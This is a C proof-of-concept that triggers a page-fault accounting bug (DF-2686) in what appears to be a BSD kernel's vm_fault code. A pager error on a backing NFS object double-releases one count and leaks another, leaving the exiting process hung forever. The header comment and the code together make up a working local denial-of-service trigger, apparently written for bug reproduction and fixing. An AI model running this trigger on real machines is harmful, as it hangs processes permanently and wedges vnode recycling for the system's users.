/*
 * DF-2686 trigger: vm_fault_object() pager-error tail corrupts the
 * paging_in_progress (pip) accounting when the faulting object is a
 * BACKING object (fs->ba != fs->first_ba):
 *
 *   vm_fault.c:2242 (stock:2241): vm_object_pip_wakeup(object)
 *        wakes the TERMINAL (backing) object's pip once,
 *   then unlock_things()->cleanup_fault() (vm_fault.c:277) wakes the
 *        SAME object's pip a SECOND time  => count wraps below zero,
 *   while the pip held on fs->first_ba->object (added at vm_fault.c:1859)
 *   is NEVER released                                      => leaked +1.
 *
 * Consequence: when the objects are later destroyed,
 * vm_object_terminate() -> vm_object_pip_wait("objtrm1") sleeps forever
 * (_refcount_wait never gives up): the exiting process hangs in
 * uninterruptible D-state permanently; on the wrapped (0xFFFFFFFF) count
 * the vnode-object side wedges vnode recycling.
 *
 * Trigger: fault a page that resolves to a backing vnode object whose
 * pager returns an error.  Real-world: NFS EIO / soft-mount RPC failure
 * (nfs_softterm() reports EINTR == 4 == VM_PAGER_ERROR), forced unmount,
 * media errors.  This PoC uses a loopback soft NFS mount in the guest and
 * kills the server mid-window.
 *
 * Sequence per victim run:
 *   open /mnt2/data.bin (O_RDWR), mmap MAP_PRIVATE 16MB, close(fd)
 *     (closing the fd keeps the mapping alive through umount -f and keeps
 *      the process off the unmount kill list - vfs_syscalls.c:929)
 *   m[0]=1 write-fault  -> creates the shadow (first) object
 *   READY -> [operator kills nfsd/mountd/rpcbind here]
 *   read m[16MB-4K]     -> fault descends shadow -> vnode object -> pager
 *                          -> "vm_fault: pager read error" -> pip corrupted
 *   _exit(42)           -> vm_object_terminate(shadow) hangs in objtrm1
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#define SIZE (16UL<<20)
static volatile sig_atomic_t got = 0;
static void hb(int s){ got = s; }
static void say(const char *s){ write(2, s, strlen(s)); }
int main(void){
    char buf[64];
    setproctitle("victimproc");
    for (int s = 1; s < 32; s++) signal(s, hb);
    sigset_t all; sigfillset(&all);
    int fd = open("/mnt2/data.bin", O_RDWR);
    if (fd<0){ int n=snprintf(buf,64,"open errno=%d got=%d\n",errno,got); write(2,buf,n); return 1;}
    char *m = mmap(NULL, SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if (m==MAP_FAILED){ perror("mmap"); return 1; }
    close(fd);
    m[0] = 1;                    /* write-fault: shadow object created */
    say("READY\n");
    sleep(20);                   /* window: operator kills the NFS server */
    say("FAULTING\n");
    sigprocmask(SIG_SETMASK, &all, NULL);
    volatile char c = m[16*1024*1024 - 4096]; (void)c;   /* pager-backed page */
    int n = snprintf(buf, sizeof buf, "AFTERFAULT got=%d val=%02x\n", got, (unsigned)(c&0xff));
    write(2, buf, n);
    say("EXITING\n");
    _exit(42);                   /* hangs in objtrm1 on stock kernel */
}
